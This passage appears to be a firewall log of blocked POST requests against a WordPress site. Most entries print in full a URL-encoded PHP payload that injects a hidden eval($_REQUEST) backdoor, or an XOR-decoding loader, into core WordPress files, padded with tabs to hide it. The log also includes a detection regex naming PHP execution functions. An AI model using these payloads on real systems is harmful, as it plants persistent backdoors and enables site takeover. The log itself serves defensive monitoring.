D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4191\nsec-fetch-site:none\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ndK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:35","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2041\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nrW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:39","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2041\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nfB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:41","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ek:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2041\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nEk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:43","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2041\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nHP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:45","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20